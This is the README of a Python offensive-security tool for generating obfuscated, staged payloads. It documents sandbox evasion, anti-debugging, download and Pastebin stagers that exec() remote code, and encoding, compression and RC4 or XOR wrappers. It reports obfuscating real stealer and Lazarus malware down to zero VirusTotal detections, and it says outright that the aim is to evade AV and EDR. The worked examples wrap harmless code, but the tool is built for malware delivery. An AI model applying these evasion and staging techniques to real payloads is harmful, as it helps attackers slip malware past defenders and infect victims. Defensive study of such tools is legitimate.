python-obfuscation-framework 1.9.4

Python Obfuscation Framework

Python Obfuscation Framework - pof

Test it at pof.run.

Python Obfuscation Framework (pof), a complete Python offensive security toolkit to generate staged obfuscated payloads.

pof will allow you to:

• Slow down static analysis with layered obfuscation and novel techniques.
• Evade sandbox by checking host information like MAC addresses, CPU count, memory count, uptime, and much more.
• Add guardrails to ensure the payload only execute on the desired target host by verifying for username, hostname, domainame and much more.
• Prevent dynamic analysis by detecting debugging or tracing via malloc.
• Create staged payloads, store stages inside images, on trusted sites, encrypt, compress, or encode them, and much more.
• Enable automation to produce numerous variant of the same payload.

The main benefit of POF is customizability, you can generate your payload however you want, choose the obfuscation you want and combine them.

Most obfuscation work very well when combined. For example obfuscating an int from 42 to int("42") allows the string obfuscator to obfuscate it, turning it into int("".join([chr(ord(i)-3)for i in'75'])). And we now have multiple int and strings that we can once again obfuscate.

Example obfuscation:

print("Hello, world")

Output:

from base64 import b64decode as expected_data
from base64 import b85decode as _5269
globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'[::-1]])].__dict__[_5269('').decode().join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'mruhgry'])])]()[_5269(''[::-1]).decode().join([globals()[''[::-1].join([chr(ord(i)-3)for i in expected_data('YmJleGxvd2xxdmJi').decode()])].__dict__["".join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'inx'])])](__builtins__.__dict__.__getitem__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in expected_data('cnVn').decode()]))(i)-(__name__.__len__().__class__(__builtins__.__dict__.__getitem__(_5269('X>N1').decode())("".join([chr(ord(i)-3)for i in'3\u007b5']),0)+__builtins__.__getattribute__('egapraeytamrofel'[::-1].replace('egapraeytamrof'[::-1],expected_data('bg==').decode()))(expected_data("".join([chr(ord(i)-3)for i in']j@@'])).decode()))))for i in"".join([chr(ord(i)-3)for i in'eeh{olsy7bdgguvtyee']).replace(_5269('X>fKlUtwfqa&r').decode(),_5269('Z+C0').decode())])].__dict__[''[::-1].join([chr(ord(i)-3)for i in''[::-1]]).join([globals()[expected_data('XordinalidWlsdGlucordinalf'.replace('ordinal','19')).decode()].__dict__[expected_data('yh2Y'[::-1]).decode()](globals()[_5269(expected_data('VXRlTiVYPjQ/OVpnWEU+').decode()).decode()].__dict__[_5269('fold_countV'.replace('fold_count','Z*p')).decode()](i)-__builtins__.__getattribute__(expected_data("".join([chr(ord(i)-3)for i in'dZ83'])).decode())('quaencode_7or8bits'.replace('encode_7or8bit','ntile').replace("".join([chr(ord(i)-3)for i in'txdqwlohv']),"".join([chr(ord(i)-3)for i in'6']))))for i in expected_data('').decode().join([chr(ord(i)-3)for i in'ztoxv'[::-1]])])](expected_data(_5269('Q%6>FVKQQ0ad38HZFp+').decode().replace('pq_b2a'[::-1],'\u0062\u00478\u0073\u0049\u0048\u0064')).decode())

Same output formatted:

from base64 import b64decode as expected_data
from base64 import b85decode as _5269

globals()["".join([chr(ord(i) - 3) for i in "bbvqlwolxebb"[::-1]])].__dict__[
    _5269("")
    .decode()
    .join([chr(ord(i) - 3) for i in "".join([chr(ord(i) - 3) for i in "mruhgry"])])
]()[
    _5269(""[::-1])
    .decode()
    .join(
        [
            globals()[
                ""[::-1].join(
                    [
                        chr(ord(i) - 3)
                        for i in expected_data("YmJleGxvd2xxdmJi").decode()
                    ]
                )
            ].__dict__[
                "".join(
                    [chr(ord(i) - 3) for i in "".join([chr(ord(i) - 3) for i in "inx"])]
                )
            ](
                __builtins__.__dict__.__getitem__(
                    "".join([chr(ord(i) - 3) for i in ""]).join(
                        [chr(ord(i) - 3) for i in expected_data("cnVn").decode()]
                    )
                )(i)
                - (
                    __name__.__len__().__class__(
                        __builtins__.__dict__.__getitem__(_5269("X>N1").decode())(
                            "".join([chr(ord(i) - 3) for i in "3\u007b5"]), 0
                        )
                        + __builtins__.__getattribute__(
                            "egapraeytamrofel"[::-1].replace(
                                "egapraeytamrof"[::-1], expected_data("bg==").decode()
                            )
                        )(
                            expected_data(
                                "".join([chr(ord(i) - 3) for i in "]j@@"])
                            ).decode()
                        )
                    )
                )
            )
            for i in "".join([chr(ord(i) - 3) for i in "eeh{olsy7bdgguvtyee"]).replace(
                _5269("X>fKlUtwfqa&r").decode(), _5269("Z+C0").decode()
            )
        ]
    )
].__dict__[
    ""[::-1]
    .join([chr(ord(i) - 3) for i in ""[::-1]])
    .join(
        [
            globals()[
                expected_data(
                    "XordinalidWlsdGlucordinalf".replace("ordinal", "19")
                ).decode()
            ].__dict__[expected_data("yh2Y"[::-1]).decode()](
                globals()[
                    _5269(expected_data("VXRlTiVYPjQ/OVpnWEU+").decode()).decode()
                ].__dict__[_5269("fold_countV".replace("fold_count", "Z*p")).decode()](
                    i
                )
                - __builtins__.__getattribute__(
                    expected_data("".join([chr(ord(i) - 3) for i in "dZ83"])).decode()
                )(
                    "quaencode_7or8bits".replace("encode_7or8bit", "ntile").replace(
                        "".join([chr(ord(i) - 3) for i in "txdqwlohv"]),
                        "".join([chr(ord(i) - 3) for i in "6"]),
                    )
                )
            )
            for i in expected_data("")
            .decode()
            .join([chr(ord(i) - 3) for i in "ztoxv"[::-1]])
        ]
    )
](
    expected_data(
        _5269("Q%6>FVKQQ0ad38HZFp+")
        .decode()
        .replace("pq_b2a"[::-1], "\u0062\u00478\u0073\u0049\u0048\u0064")
    ).decode()
)

More examples and usage can be found in examples/ or in the section bellow.

Effectiveness

The tests are done using the default configuration of pof, no sandbox evasion technique was used with obfuscation. Also note that I haven't tested the malware to see if they still work, they should, but they may break with obfuscation.

Obfuscating a Lazarus malware, we go from 18/63 to 0/63 on virus total:

Obfuscating RedTigerStealer we go from 26/63 to 1/62 on virus total:

Obfuscating BTC-Clipper, we go from 13/64 to 0/63 on virus total:

Obfuscating a Braodo malware, we go from 10/61 to 0/63 on virus total:

Obfuscating Python-File-Stealer, we go from 4/63 to 0/63 on virus total:

Install

You can install POF with pip install, inside a container or try it online at pof.run:

echo 'print("Hello, world!")' | curl -X POST -d @- https://pof.run

PIP

From pypi:

pip install python-obfuscation-framework

Docker

docker run --rm ghcr.io/deoktr/python-obfuscation-framework:latest --help

Run inside Docker from a local file in.py:

docker run --rm -v $(pwd):/tmp -w /tmp ghcr.io/deoktr/python-obfuscation-framework:latest in.py -o out.py

Or pipe input and output:

cat in.py | docker run --rm -i ghcr.io/deoktr/python-obfuscation-framework:latest > out.py

Usage

# pipe input and output to stdout
echo "print('Hello, world')" | pof

# output to file
pof in.py -o out.py

# redirect to file
pof in.py > out.py

# pipe to python to run it
pof in.py | python

# obfuscator
pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator

# stager
pof in.py -o out.py -f stager -k PasteRsStager

# evasion
pof in.py -o out.py -f evasion -k CPUCountEvasion

# evasion with custom params
pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4

# combine everything from the CLI
pof in.py -f obfuscator -k BuiltinsObfuscator |\
    pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
    pof -f stager -k PasteRsStager > out.py

You can also use the Python API directly, you can find examples or see API usage bellow.

Examples

These are examples of obfuscators of the script print('Hello, world').

To select an obfuscator use the flag -f obfuscator and -k ObfuscatorClassName.

To reproduce the examples you can use the following command:

echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator

To test the validity of the output you can simply pipe it to Python:

echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python

Obfuscator

VariablesObfuscator the most basic obfuscator will rename variables.

Source in examples/source.py.

import os

def get_linux_release_info():
    """Get Linux release info from /etc/os-release."""
    uggNx = '/etc/os-release'
    if not os.path.exists(uggNx):
        print('OS release file not found. This might not be a Linux system.')
        return None
    LY3mN = {}
    try:
        with open(uggNx, 'r') as kj0:
            for Stv9o in kj0:
                if not Stv9o or '=' not in Stv9o:
                    continue
                l0j, QE5kCKYwMe = Stv9o.strip().split('=', 1)
                QE5kCKYwMe = QE5kCKYwMe.strip('"\'\n')
                LY3mN[l0j] = QE5kCKYwMe
        print('\nLinux Release Information:')
        print(f"Distribution: {LY3mN.get('NAME', 'Unknown')}")
        print(f"Version: {LY3mN.get('VERSION', 'Unknown')}")
        print(f"Version ID: {LY3mN.get('VERSION_ID', 'Unknown')}")
        print(f"Pretty Name: {LY3mN.get('PRETTY_NAME', 'Unknown')}")
        return LY3mN
    except Exception as e:
        print(f'Error reading release file: {e}')
        return None
if __name__ == '__main__':
    if os.name == 'posix' and os.path.exists('/etc/os-release'):
        E_R72 = get_linux_release_info()
    else:
        print('This script is designed for Linux systems.')

DefinitionsObfuscator obfuscate function names.

[!WARNING] NamesObfuscator obfuscator is renaming variables, classes, functions, and imports. Right now this obfuscator can fail under very specific circumstances, see pof/obfuscator/names.py. There is an alternative implementation at NamesRopeObfuscator that uses rope, it's a work in progress and currently does not obfuscate variables declared inside functions.

Other very basic obfuscation functions are done by specific obfuscators like:

• Removing comments with CommentsObfuscator.
• Replacing exception messages with ExceptionObfuscator.
• Reducing indentation to a single space with IndentsObfuscator.
• Replace log messages with LoggingObfuscator or remove them with LoggingRemoveObfuscator.
• Remove empty lines with NewlineObfuscator.
• Remove print statements with PrintObfuscator.

StringsObfuscator

# Reverse
print('dlrow ,olleH'[::-1])

# Replace
print('Helnelemd'.replace('nelem','lo, worl'))

# One on n
print("".join([d if g%3==0 else""for g,d in enumerate('H9IesYlvJl5loU4,dK nDw51ovsrozl0UdoI!jL')]))

# Hex-encoded
print('\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64')

# Unicode
print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')

# Shift cipher
print("".join([chr(ord(i)-3)for i in'Khoor/#zruog']))

# Base 64 encoding
from base64 import b64decode
print(b64decode( b'SGVsbG8sIHdvcmxk').decode())

# Base 85
from base64 import b85decode
print(b85decode( b'NM&qnZ!92pZ*pv8').decode())

NumberObfuscator

Source: print(42)

# String
print(int('42'))

# Addition
print((int(35+7)))

# Hex
print(int('0x2a',0))

# Len
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))

# Boolean
print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))

BooleanObfuscator

Source: print(True)

# not False
print(not False)

# all([])
print(all([]))

# any([True])
print(any([True]))

# not not True
print(not not True)

# '' in ''
print('' in '')

# bool(1)
print(bool(1))

ConstantsObfuscator

Move every variable at the top of the file with random names.

N842V="\"'\n"
gvBXIX='NAME'
Lzxdy='VERSION'
NklI="__main__"
IoTpEBJ='VERSION_ID'
eQqDDpOL=1
IpEPxvQ="This script is designed for Linux systems."
ka6U_Q='PRETTY_NAME'
hCf5UQQT="="
GMUC6z="/etc/os-release"
eOa=Exception
CCCs=None
EUr2fN=open
wGDb="r"
hm8="OS release file not found. This might not be a Linux system."
QElu="posix"
fNdZY9=__name__
LvMs="\nLinux Release Information:"
uFCf7Vy='Unknown'
joyHA=print
import os

def get_linux_release_info():
    """Get Linux release info from /etc/os-release."""
    release_file=GMUC6z
    if not os.path.exists(release_file):
        joyHA(hm8)
        return CCCs
    release_info={}
    try:
        with EUr2fN(release_file,wGDb)as f:
            for line in f:
                if not line or hCf5UQQT not in line:
                    continue
                key,value=line.strip().split(hCf5UQQT,eQqDDpOL)
                value=value.strip(N842V)
                release_info[key]=value
        joyHA(LvMs)
        joyHA(f"Distribution: {release_info.get(gvBXIX,uFCf7Vy)}")
        joyHA(f"Version: {release_info.get(Lzxdy,uFCf7Vy)}")
        joyHA(f"Version ID: {release_info.get(IoTpEBJ,uFCf7Vy)}")
        joyHA(f"Pretty Name: {release_info.get(ka6U_Q,uFCf7Vy)}")
        return release_info
    except eOa as e:
        joyHA(f"Error reading release file: {e}")
        return CCCs

if fNdZY9==NklI:
    if os.name==QElu and os.path.exists(GMUC6z):
        release_details=get_linux_release_info()
    else:
        joyHA(IpEPxvQ)

BuiltinsObfuscator

Obfuscate builtins functions using one of the following methods.

__builtins__.__getattribute__('print')('Hello, world')

__builtins__.__dict__['print']('Hello, world')

globals()['__builtins__'].__dict__['print']('Hello, world')

__builtins__.__dict__.__getitem__('print')('Hello, world')

ExtractVariablesObfuscator

Extract variables in the same context level, meaning if inside a function will add the variable at the beginning of it.

var='Hello, world'
print(var)

CallObfuscator

print.__call__('Hello, world')

GlobalsObfuscator

Replaces call of global functions with globals()['func_name']().

Source in examples/source.py.

import os

def get_linux_release_info():
    release_file="/etc/os-release"
    if not os.path.exists(release_file):
        print("OS release file not found. This might not be a Linux system.")
        return None
    release_info={}
    try:
        with open(release_file,"r")as f:
            for line in f:
                if not line or"="not in line:
                    continue
                key,value=line.strip().split("=",1)
                value=value.strip("\"'\n")
                release_info[key]=value
        print("\nLinux Release Information:")
        print(f"Distribution: {release_info.get('NAME','Unknown')}")
        print(f"Version: {release_info.get('VERSION','Unknown')}")
        print(f"Version ID: {release_info.get('VERSION_ID','Unknown')}")
        print(f"Pretty Name: {release_info.get('PRETTY_NAME','Unknown')}")
        return release_info
    except Exception as e:
        print(f"Error reading release file: {e}")
        return None

if __name__=="__main__":
    if os.name=="posix"and os.path.exists("/etc/os-release"):
        release_details=globals()['get_linux_release_info']()
    else:
        print("This script is designed for Linux systems.")

[!NOTE] This combines perfectly with a string obfuscator, since the function call becomes ones, it's easy to obfuscate.

ShiftObfuscator

exec("".join([chr(ord(i)-3)for i in'sulqw+*Khoor/#zruog*,\r']))

DocstringObfuscator

from base64 import b64decode
class Foo:
    """
    cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg==
    """
    pass


exec(b64decode(Foo.__doc__.replace('\n','').replace(' ','')))

SpacenTabObfuscator

def sntdecode(encoded):
    msg_bin=encoded.replace(" ","0").replace("\t","1")
    n=int(msg_bin,2)
    return n.to_bytes((n.bit_length()+7)//8,"big")

exec(sntdecode('\t\t\t     \t\t\t  \t  \t\t \t  \t \t\t \t\t\t  \t\t\t \t    \t \t     \t  \t\t\t \t  \t    \t\t  \t \t \t\t \t\t   \t\t \t\t   \t\t \t\t\t\t  \t \t\t    \t      \t\t\t \t\t\t \t\t \t\t\t\t \t\t\t  \t  \t\t \t\t   \t\t  \t    \t  \t\t\t  \t \t  \t    \t \t '))

WhitespaceObfuscator

Use whitespace and zero width whitespace \u200B.

def wsdecode(encoded):
    msg_bin=encoded.replace(" ","0").replace('\u200b',"1")
    n=int(msg_bin,2)
    return n.to_bytes((n.bit_length()+7)//8,"big")

exec(wsdecode("​​​     ​​​  ​  ​​ ​  ​ ​​ ​​​  ​​​ ​    ​ ​     ​  ​​​ ​  ​    ​​  ​ ​ ​​ ​​   ​​ ​​   ​​ ​​​​  ​ ​​    ​      ​​​ ​​​ ​​ ​​​​ ​​​  ​  ​​ ​​   ​​  ​    ​  ​​​  ​ ​  ​    ​ ​ "))

RC4Obfuscator

[!WARNING] The RC4 obfuscator (and other cipher obfuscators) will combine both, the cipher text and the key in the same file, this is obviously not secure, and should never be used for security purposes. The idea behind this obfuscator is to fool humans, AV, EDR, network TAP etc. not to be secured and safe.

import codecs
def rc4decrypt(key,ciphertext):
    def KSA(key):
        key_length=len(key)
        S=list(range(256))
        j=0
        for i in range(256):
            j=(j+S[i]+key[i%key_length])%256
            S[i],S[j]=S[j],S[i]
        return S
    def PRGA(S):
        i=0
        j=0
        while True:
            i=(i+1)%256
            j=(j+S[i])%256
            S[i],S[j]=S[j],S[i]
            K=S[(S[i]+S[j])%256]
            yield K
    def get_keystream(key):
        S=KSA(key)
        return PRGA(S)
    def encrypt_logic(key,text):
        key=[ord(c)for c in key]
        keystream=get_keystream(key)
        res=[]
        for c in text:
            val="%02X"%(c^next(keystream))
            res.append(val)
        return"".join(res)
    ciphertext=codecs.decode(ciphertext,"hex_codec")
    res=encrypt_logic(key,ciphertext)
    return codecs.decode(res,"hex_codec").decode("utf-8")

exec(rc4decrypt('7zSRE6YHmdwpx2zT1Q2xPoPwzztXRZNQSKeX2LFIKBhl7uJMAs9jj0Hlec6y3wjuNgqgdD1XjnqZSzkWhRldoWwn625Bw56r105zQg5KRE5ugmVOUy2adMWKH2hod0CfxW72XLGFDTt38OH5nDYcr2bXrokKDKCaie56agxxHmSwv4nwTNQlxjyrixBgeyjaDV8CLvdmS4ANRXXVs5HxhxlFiBBUoHadf1wLq0wDi5c0e93fmqqNCRHAMAoTkGJJPCfXc9kTHmW38NJcjnVgvAgrBIcJX66E8pLwUniQB0yvoHapq2RCxaV8PrhU0jFy9RWTrwDfoE3G7whrE8uobVUgFLiJsiH6eV63RvH03gUEi1EHo0YGrRo12yShLG0P8pfSawTjTkJlQOFQ2PsubnQm8fhZ6en7nHI2L2xpC88yNScapMnsRaYUHZFWdecVfOaq9QaMf76RzYpQ7F5LWKgcEG3WGiXReCU1hr5pAoomAcXMZftcYuJu5AuOsXSR','647F6846CBEF6C270D853D3F76650D51DE1CAD760C17'))

XORObfuscator

from base64 import b64decode

def decrypt(cipher,key):
    bcipher=bytearray(b64decode(cipher))
    text=bytearray()
    ki=0
    for i in bcipher:
        text.append(i^key[ki%len(key)])
        ki+=1
    return text
exec(decrypt( b'RkNfWkAcHnxTXVpbGBROW0RdUhMdPg==', b'61644494').decode())

[!WARNING] Like for the RC4 cipher the XOR obfuscator shouldn't be used for security purposes, its main goal is to evade common security tools, not protect the information! Plus the XOR cipher is really weak and easy to crack.

DeepEncryptionObfuscator

Encrypt each function's source code using base64 encoding. The function body is replaced with a exec(b64decode(...)) call that decrypts and executes the original code at runtime. This prevents the entire source code from being accessible at once in memory.

Source in examples/source.py.

from base64 import b64decode
import os

def get_linux_release_info():
    r_dict=globals().copy()
    r_dict.update(locals())
    exec(b64decode( b'IiIiR2V0IExpbnV4IHJlbGVhc2UgaW5mbyBmcm9tIC9ldGMvb3MtcmVsZWFzZS4iIiIKCiMgQ2hlY2sgaWYgdGhlIGZpbGUgZXhpc3RzCnJlbGVhc2VfZmlsZSA9Ii9ldGMvb3MtcmVsZWFzZSIKCmlmIG5vdCBvcyAucGF0aCAuZXhpc3RzIChyZWxlYXNlX2ZpbGUgKToKICAgIHByaW50ICgiT1MgcmVsZWFzZSBmaWxlIG5vdCBmb3VuZC4gVGhpcyBtaWdodCBub3QgYmUgYSBMaW51eCBzeXN0ZW0uIikKICAgIHIgPU5vbmUgCgogICAgIyBEaWN0aW9uYXJ5IHRvIHN0b3JlIHJlbGVhc2UgaW5mb3JtYXRpb24KcmVsZWFzZV9pbmZvID17fQoKdHJ5IDoKIyBSZWFkIGFuZCBwYXJzZSB0aGUgZmlsZQogICAgd2l0aCBvcGVuIChyZWxlYXNlX2ZpbGUgLCJyIilhcyBmIDoKICAgICAgICBmb3IgbGluZSBpbiBmIDoKICAgICAgICAgICAgaWYgbm90IGxpbmUgb3IgIj0ibm90IGluIGxpbmUgOgogICAgICAgICAgICAgICAgY29udGludWUgCgogICAgICAgICAgICAgICAgIyBTcGxpdCBrZXkgYW5kIHZhbHVlCiAgICAgICAgICAgIGtleSAsdmFsdWUgPWxpbmUgLnN0cmlwICgpLnNwbGl0ICgiPSIsMSApCgogICAgICAgICAgICAjIFJlbW92ZSBxdW90ZXMgZnJvbSB2YWx1ZQogICAgICAgICAgICB2YWx1ZSA9dmFsdWUgLnN0cmlwICgiXCInXG4iKQoKICAgICAgICAgICAgIyBTdG9yZSBpbiBkaWN0aW9uYXJ5CiAgICAgICAgICAgIHJlbGVhc2VfaW5mbyBba2V5IF09dmFsdWUgCgogICAgICAgICAgICAjIFByaW50IGtleSByZWxlYXNlIGluZm9ybWF0aW9uCiAgICBwcmludCAoIlxuTGludXggUmVsZWFzZSBJbmZvcm1hdGlvbjoiKQogICAgcHJpbnQgKGYiRGlzdHJpYnV0aW9uOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdOQU1FJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJWZXJzaW9uOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdWRVJTSU9OJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJWZXJzaW9uIElEOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdWRVJTSU9OX0lEJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJQcmV0dHkgTmFtZToge3JlbGVhc2VfaW5mbyAuZ2V0ICgnUFJFVFRZX05BTUUnLCdVbmtub3duJyl9IikKCiAgICByID1yZWxlYXNlX2luZm8gCgpleGNlcHQgRXhjZXB0aW9uIGFzIGUgOgogICAgcHJpbnQgKGYiRXJyb3IgcmVhZGluZyByZWxlYXNlIGZpbGU6IHtlIH0iKQogICAgciA9Tm9uZSAKCgogICAgIyBNYWluIGV4ZWN1dGlvbgo='),r_dict)
    if'r'not in r_dict:
        return None
    r_val=r_dict['r']
    del r_dict
    return r_val

if __name__=="__main__":
    if os.name=="posix"and os.path.exists("/etc/os-release"):
        release_details=get_linux_release_info()
    else:
        print("This script is designed for Linux systems.")

[!NOTE] Functions containing yield or super are skipped and left unchanged. The return statements inside the encrypted function body are replaced with variable assignments to support return value propagation through exec().

Compression

# Bz2Obfuscator
import bz2,marshal
exec(marshal.loads(bz2.decompress( b'BZh91AY&SY\xcf\xf8\xcd\xdc\x00\x00\ru\x80\xc0\x10\x01\x00@\xe4\x00@\x06%\xd4\x80\x08\x00 \x00"&\x80d\x196\xa1L&\x9a\x03LI\x99\\eR\x15\xcd\xb9\x04\xd4s\x1d\x08\x00\xf8\xbb\x92)\xc2\x84\x86\x7f\xc6n\xe0')))

# GzipObfuscator
import gzip,marshal
exec(marshal.loads(gzip.decompress( b'\x1f\x8b\x08\x00$p\x91d\x02\xff\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00\xf2\x90\x8eA\x1b\x00\x00\x00')))

# LzmaObfuscator
import lzma,marshal
exec(marshal.loads(lzma.decompress( b"\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\x01\x00\x1a\xf3\x16\x00\x00\x00print('Hello, world')\n\x00\x00\xd5\xa4\x00\xec\xfa;\x9c\xf1\x00\x013\x1b\xf7\x19\x88^\x1f\xb6\xf3}\x01\x00\x00\x00\x00\x04YZ")))

# ZlibObfuscator
import zlib,marshal
exec(marshal.loads(zlib.decompress( b'x\x9c\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00va\x08H')))

Encoding

# ASCII85Obfuscator
from base64 import a85decode
exec(a85decode('E,oZ1F=8M-ASc1$/0K.TEbo86.1-'))

# Base16Obfuscator
from base64 import b16decode
exec(b16decode('7072696E74282748656C6C6F2C20776F726C6427290A'))

# Base32Obfuscator
from base64 import b32decode
exec(b32decode('OBZGS3TUFATUQZLMNRXSYIDXN5ZGYZBHFEFA===='))

# Base32HexObfuscator
from base64 import b32hexdecode
exec(b32hexdecode('E1P6IRJK50JKGPBCDHNIO83NDTP6OP175450===='))

# Base64Obfuscator
from base64 import b64decode
exec(b64decode('cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='))

# Base85Obfuscator
from base64 import b85decode
exec(b85decode('aB^vGbSNiCWo&G3EFgDpa%^NLDGC'))

# BinasciiObfuscator
import binascii,marshal
exec(marshal.loads(binascii.a2b_base64( b'8xYAAABwcmludCgnSGVsbG8sIHdvcmxkJykK\n')))

Special Encoding

# TokensObfuscator
from tokenize import untokenize
exec(untokenize([(1,'print'),(54,'('),(3,"'Hello, world'"),(54,')'),(4,'\n'),(0,''),]))

# IPv6Obfuscator
import binascii
exec(binascii.a2b_hex(''.join(['7072:696e:7428:2748:656c:6c6f:2c20:776f','726c:6427:290a:1000:0000:0000:0000:0000',]).replace(':','').strip('0')[:-1]))

# MACObfuscator
import binascii
exec(binascii.a2b_hex(''.join(['70-72-69-6e-74-28','27-48-65-6c-6c-6f','2c-20-77-6f-72-6c','64-27-29-0a-10-00',]).replace('-','').strip('0')[:-1]))

# UUIDObfuscator
exec(binascii.a2b_hex("".join(['7072696e-7428-2748-656c-6c6f2c20776f','726c6427-290a-1000-0000-000000000000',]).replace("-","").strip('0')[:-1]))

ImportsObfuscator

Source: import pathlib

pathlib=__import__('pathlib')

CharFromDocObfuscator

Source: print('h')

print(oct.__doc__[8])

AddCommentsObfuscator

# This is a random comment
print("Hello, world!")

The list of comments available is inside a file, all the comments have been extracted from Python standard library.

AddNewlinesObfuscator

Add random new lines everywhere it's possible.

print("Hello, world!")

ControlFlowFlattenObfuscator

Classic control flow flattening.

Source:

def greet(name):
    msg = "Hello, "
    msg = msg + name
    return msg

Output:

def greet(name):
    _state=936
    _ret=None
    while _state!=435:
        if _state==995:
            msg=msg+name
            _state=528
        elif _state==936:
            msg='Hello, '
            _state=995
        elif _state==528:
            _ret=msg
            _state=435
    return _ret

[!NOTE] Functions containing yield, async, or try/except are skipped and left unchanged.

Stager

DownloadStager

from urllib import request
exec(request.urlopen("https://example.com/payload.py").read())

ImageStager

The modified picture is not included in this example.

import sys
from PIL import Image
def decode(im_in):
    msg_bin=""
    im=Image.open(im_in)
    px=im.load()
    for x in range(im.size[0]):
        for y in range(im.size[1]):
            pixels=px[x,y]
            msg_bin+=bin(pixels[0])[-1]
    n=8
    mmsg_bin="0"+msg_bin
    chunks=[mmsg_bin[i:i+n]for i in range(0,len(mmsg_bin),n)]
    i=chunks.index("0"*8)
    msg_bin=msg_bin[:(8*i)-1]
    n=int(msg_bin,2)
    msg=n.to_bytes((n.bit_length()+7)//8,"big").decode()
    return msg
exec(decode(sys.argv.pop(1)))

PastebinStager

from urllib import request
exec(request.urlopen("https://pastebin.com/raw/...").read())

[!NOTE] You'll need to add a pastebin API key:

echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo

The PasteRsStager and Cl1pNetStager are exactly the same, but the code is not uploaded to the same site. But PasteRsStager doesn't require an API key.

RC4Stager

The RC4 stager needs to be called with the key has its first argument.

import sys
import codecs
def rc4decrypt(key,ciphertext):
    def KSA(key):
        key_length=len(key)
        S=list(range(256))
        j=0
        for i in range(256):
            j=(j+S[i]+key[i%key_length])%256
            S[i],S[j]=S[j],S[i]
        return S
    def PRGA(S):
        i=0
        j=0
        while True:
            i=(i+1)%256
            j=(j+S[i])%256
            S[i],S[j]=S[j],S[i]
            K=S[(S[i]+S[j])%256]
            yield K
    def get_keystream(key):
        S=KSA(key)
        return PRGA(S)
    def encrypt_logic(key,text):
        key=[ord(c)for c in key]
        keystream=get_keystream(key)
        res=[]
        for c in text:
            val="%02X"%(c^next(keystream))
            res.append(val)
        return"".join(res)
    ciphertext=codecs.decode(ciphertext,"hex_codec")
    res=encrypt_logic(key,ciphertext)
    return codecs.decode(res,"hex_codec").decode("utf-8")

exec(rc4decrypt(sys.argv.pop(1),'A0E9F66914B121B6CD9A7E4532EF281DBB0B8D7FF597A4D5FA2C5EBB47BA2801B33B21819B1F62D5A5D2BDC1E4A4ACD159FB581F860F44D0E4F493C8F55858C83D19EF5DD1BBEB0D143E5C5C9FFF621B187985B6F9FC03E83F80BA3DCD55217949FA04B2F58EC862CC701A0734D1ADB231E5DA54C11E505F520D1B53E50E1F36AA20A163D2BFA43C3E5DDA259A12683C3379D4115C0483C088236FB5DA667EE79D288D99F73A07FCF3F445F933B637B26DD32CC0A0EBE646E7644D2324937910ECB4752E8CEDC09729AF476579944DC13E3629C42634C9483D89617F8941F68506470D53BCC6A94B592101260B96B1BFD83A6C2248E725FF31E4592D21038D677A239E1BA4F9031F7F728DE835BF0C8B28920868A6B880E37C2BBF5E37291210F15F389BF42522D6A9668BA334474D9048AE66997C0AED01178B2EA75DB4D592CBB898773D982A91242AB434F54F00E6B747940D8D0228CB885E8A4977494350FFFA2D2428D0525F8A5A6A22899B0195AD278E804B7BCC47B499DD32329C56B4DB7A6FA81DC935DA9978961604951F0F63757FA754291B32D8E03BE815A38A5EDACB04516AEEAD0F9BA2FB4D8C3E8F5050D810B3B94B1A445973E775114112D279673715858CBA8C4C745C8B9D78CFF81B5C151EACB2E739612C7776BC081B5CA54AF6860E6F04A80F5645B011F4A4'))

For this example, the randomly generated key is:

TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC

So we could call it like this:

python3 out.py TzyaoO...

QuineStager

from base64 import b64decode
from tokenize import untokenize
esource='cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='
